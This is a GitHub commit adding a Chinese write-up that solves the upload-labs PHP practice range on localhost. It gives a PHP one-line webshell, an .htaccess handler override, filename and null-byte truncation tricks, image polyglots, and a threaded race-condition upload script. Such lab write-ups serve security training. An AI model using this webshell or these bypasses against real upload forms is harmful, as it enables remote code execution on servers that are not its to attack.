Skip to content

Commit 390cc15

Browse files
authored
Add files via upload
1 parent 7f93130 commit 390cc15

36 files changed

+250
-0
lines changed

README.md

+250
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,250 @@
1+
### 0x00: 前言
2+
3+
本篇文章主要记录绕过一个基于php语言的上传漏洞的靶场项目[upload-labs](https://github.com/c0ny1/upload-labs) (最新commit[17ec936](https://github.com/c0ny1/upload-labs/commit/17ec93650d05d956e5868518cd6e8e36085ab2a3)的19个上传关卡的方法。
4+
5+
文章适合有一定上传绕过知识基础的读者阅读,绕过原理请参考其它文章和项目源码,限于篇幅文章中不展开解释。
6+
7+
### 0x01:测试配置
8+
9+
| 操作系统 | Windows 10 |
10+
| --------------- | ---------------------------------- |
11+
| **服务器环境** | phpStudy 2016 |
12+
| **PHP版本** | 5.2.17 |
13+
| **php.ini启用扩展** | extension=php_gd2.dll |
14+
| **php.ini启用扩展** | extension=php_mbstring.dll |
15+
| **php.ini启用扩展** | extension=php_exif.dll |
16+
| **Firefox插件** | NoScript |
17+
| **Firefox插件** | HackBar |
18+
| **抓包工具** | Burpsuite Pro |
19+
| **Webshell代码** | <?php assert($_POST["LandGrey"])?> |
20+
21+
### 0x02: 绕过方法
22+
23+
#### Pass-01:
24+
25+
前端禁用JS,直接上传Webshell
26+
27+
![](image/01-1.png)
28+
29+
#### Pass-02:
30+
31+
截断上传数据包,修改Content-Type为`image/gif`,然后放行数据包
32+
33+
![](image/02-1.png)
34+
35+
#### Pass-03:
36+
37+
重写文件解析规则绕过。上传先上传一个名为`.htaccess`文件,内容如下:
38+
39+
```
40+
<FilesMatch "03.jpg">
41+
SetHandler application/x-httpd-php
42+
</FilesMatch>
43+
```
44+
45+
![](image/03-1.png)
46+
47+
48+
49+
然后再上传一个`03.jpg`
50+
51+
![](image/03-2.png)
52+
53+
54+
55+
执行上传的`03.jpg`脚本
56+
57+
![](image/03-3.png)
58+
59+
#### Pass-04:
60+
61+
方法同**Pass-03**, 重写文件解析规则绕过
62+
63+
![](image/04-1.png)
64+
65+
66+
67+
![](image/04-2.png)
68+
69+
70+
71+
![](image/04-3.png)
72+
73+
#### Pass-05:
74+
75+
文件名后缀大小写混合绕过。`05.php`改成`05.phP`然后上传
76+
77+
![](image/05-1.png)
78+
79+
#### Pass-06:
80+
81+
利用Windows系统的文件名特性。文件名最后增加**点和空格**,写成`06.php. `,上传后保存在Windows系统上的文件名最后的一个`.`会被去掉,实际上保存的文件名就是`06.php`
82+
83+
![](image/06-1.png)
84+
85+
#### Pass-07:
86+
87+
原理同**Pass-06**,文件名后加点,改成`07.php.`
88+
89+
![](image/07-1.png)
90+
91+
#### Pass-08:
92+
93+
Windows文件流特性绕过,文件名改成`08.php::$DATA`,上传成功后保存的文件名其实是`08.php`
94+
95+
![](image/08-1.png)
96+
97+
#### Pass-09:
98+
99+
**原理同Pass-06**,上传文件名后加上**点+空格+点**,改为`09.php. .`
100+
101+
![](image/09-1.png)
102+
103+
#### Pass-10:
104+
105+
双写文件名绕过,文件名改成`10.pphphp`
106+
107+
![](image/10-1.png)
108+
109+
#### Pass-11:
110+
111+
上传路径名%00截断绕过。上传的文件名写成`11.jpg`, save_path改成`../upload/11.php%00`,最后保存下来的文件就是`11.php`
112+
113+
![](image/11-1.png)
114+
115+
#### Pass-12:
116+
117+
原理同**Pass-11**,上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成`../upload/12.php【二进制00】`形式
118+
119+
![](image/12-1.png)
120+
121+
#### Pass-13:
122+
123+
绕过文件头检查,添加GIF图片的文件头`GIF89a`,绕过GIF图片检查。
124+
125+
![](image/13-1.png)
126+
127+
使用命令`copy normal.jpg /b + shell.php /a webshell.jpg`,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。[JPG一句话shell参考示例](https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/webshell.jpg)
128+
129+
![](image/13-2.png)
130+
131+
png图片处理方式同上。[PNG一句话shell参考示例](https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/webshell.png)
132+
133+
![](image/13-3.png)
134+
135+
#### Pass-14:
136+
137+
原理和示例同**Pass-13**,添加GIF图片的文件头绕过检查
138+
139+
![](image/14-1.png)
140+
141+
png图片webshell上传同**Pass-13**
142+
143+
jpg/jpeg图片webshell上传存在问题,正常的图片也上传不了,等待作者调整。
144+
145+
#### Pass-15:
146+
147+
原理同**Pass-13**,添加GIF图片的文件头绕过检查
148+
149+
![](image/15-1.png)
150+
151+
png图片webshell上传同**Pass-13**
152+
153+
jpg/jpeg图片webshell上传同**Pass-13**
154+
155+
#### Pass-16:
156+
157+
原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。
158+
159+
这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片[示例](https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/php/bypass-imagecreatefromgif-pass-00.gif)
160+
161+
![](image/16-1.png)
162+
163+
打开被渲染后的图片,Webshell代码仍然存在
164+
165+
![](image/16-2.png)
166+
167+
提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个[示例文件](https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/php/bypass-imagecreatefromjpeg-pass-LandGrey.jpg)。 直接上传示例文件会触发Warning警告,并提示文件不是jpg格式的图片。但是实际上已经上传成功,而且示例文件名没有改变。
168+
169+
![](image/16-3.png)
170+
171+
![](image/16-4.png)
172+
173+
从上面上传jpg图片可以看到我们想复杂了,程序没有对渲染异常进行处理,直接在正常png图片内插入webshell代码,然后上传[示例文件](https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/php/bypass-imagecreatefrompng-pass-LandGrey.jpg)即可,并不需要图片是正常的图片。
174+
175+
![](image/16-5.png)
176+
177+
程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。
178+
179+
![](image/16-6.png)
180+
181+
#### Pass-17:
182+
183+
利用条件竞争删除文件时间差绕过。使用命令`pip install hackhttp`安装[hackhttp](https://github.com/BugScanTeam/hackhttp)模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。
184+
185+
```python
186+
#!/usr/bin/env python
187+
# coding:utf-8
188+
# Build By LandGrey
189+
190+
import hackhttp
191+
from multiprocessing.dummy import Pool as ThreadPool
192+
193+
194+
def upload(lists):
195+
hh = hackhttp.hackhttp()
196+
raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
197+
Host: 127.0.0.1
198+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
199+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
200+
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
201+
Accept-Encoding: gzip, deflate
202+
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
203+
Cookie: pass=17
204+
Connection: close
205+
Upgrade-Insecure-Requests: 1
206+
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
207+
Content-Length: 341
208+
209+
-----------------------------6696274297634
210+
Content-Disposition: form-data; name="upload_file"; filename="17.php"
211+
Content-Type: application/octet-stream
212+
213+
<?php assert($_POST["LandGrey"])?>
214+
-----------------------------6696274297634
215+
Content-Disposition: form-data; name="submit"
216+
217+
上传
218+
-----------------------------6696274297634--
219+
"""
220+
code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
221+
print(str(code) + "\r")
222+
223+
224+
pool = ThreadPool(10)
225+
pool.map(upload, range(10000))
226+
pool.close()
227+
pool.join()
228+
```
229+
230+
在脚本运行的时候,访问Webshell
231+
232+
![](image/17-1.png)
233+
234+
#### Pass-18:
235+
236+
只需要把文件名改成`18.gif`即可上传
237+
238+
![](image/18-1.png)
239+
240+
#### Pass-19:
241+
242+
原理同**Pass-11**,上传的文件名用0x00绕过。改成`19.php【二进制00】.1.jpg`
243+
244+
![](image/19-1.png)
245+
246+
### 0x03: 后记
247+
248+
可以发现以上绕过方法中有些是重复的,有些是意外情况,可能与项目作者的本意不符,故本文仅作为参考使用。
249+
250+
等作者修复代码逻辑后,本文也会适时更新。

image/01-1.png

106 KB
Loading

image/02-1.png

74.7 KB
Loading

image/03-1.png

77.8 KB
Loading

image/03-2.png

74.8 KB
Loading

image/03-3.png

139 KB
Loading

image/04-1.png

70.7 KB
Loading

image/04-2.png

71.5 KB
Loading

image/04-3.png

142 KB
Loading

image/05-1.png

75.1 KB
Loading

image/06-1.png

75.1 KB
Loading

image/07-1.png

71.4 KB
Loading

image/08-1.png

80.7 KB
Loading

image/09-1.png

74.2 KB
Loading

image/10-1.png

70.1 KB
Loading

image/11-1.png

77.6 KB
Loading

image/12-1.png

87.4 KB
Loading

image/13-1.png

81.7 KB
Loading

image/13-2.png

73.3 KB
Loading

image/13-3.png

24.2 KB
Loading

image/14-1.png

72.1 KB
Loading

image/15-1.png

71.5 KB
Loading

image/16-1.png

104 KB
Loading

image/16-2.png

14.3 KB
Loading

image/16-3.png

59.1 KB
Loading

image/16-4.png

61 KB
Loading

image/16-5.png

65.8 KB
Loading

image/16-6.png

27.7 KB
Loading

image/17-1.png

128 KB
Loading

image/18-1.png

77.7 KB
Loading

image/19-1.png

89.3 KB
Loading
6.99 KB
Loading
Loading
Loading

webshell/webshell.jpg

1.96 KB
Loading

webshell/webshell.png

686 Bytes
Loading

0 commit comments

Comments
 (0)